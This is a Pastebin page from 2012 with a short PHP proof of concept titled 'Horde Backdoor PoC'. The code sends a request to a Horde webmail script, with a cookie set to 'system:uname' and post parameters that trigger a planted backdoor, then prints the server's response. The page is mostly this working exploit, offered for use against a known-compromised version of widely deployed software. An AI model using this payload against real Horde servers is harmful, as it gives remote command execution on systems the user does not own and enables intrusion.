Advertisement
eromang

Horde Backdoor PoC

Feb 15th, 2012
2,799
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.69 KB | None | 0 0
  1. <?php
  2.  
  3. require_once 'HTTP/Request2.php';
  4.  
  5. $request = new HTTP_Request2('http://devnull.zataz.loc/horde/services/javascript.php', HTTP_Request2::METHOD_GET);
  6. $request->addCookie('href', "system:uname");
  7.  
  8. $request->setMethod(HTTP_Request2::METHOD_POST)
  9.         ->addPostParameter('app','horde')
  10.         ->addPostParameter('file','open_calendar.js');
  11.  
  12. try {
  13.     $response = $request->send();
  14.     if (200 == $response->getStatus()) {
  15.         echo $response->getBody();
  16.     } else {
  17.         echo 'Unexpected HTTP status: ' . $response->getStatus() . ' ' .
  18.              $response->getReasonPhrase();
  19.     }
  20. } catch (HTTP_Request2_Exception $e) {
  21.     echo 'Error: ' . $e->getMessage();
  22. }
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement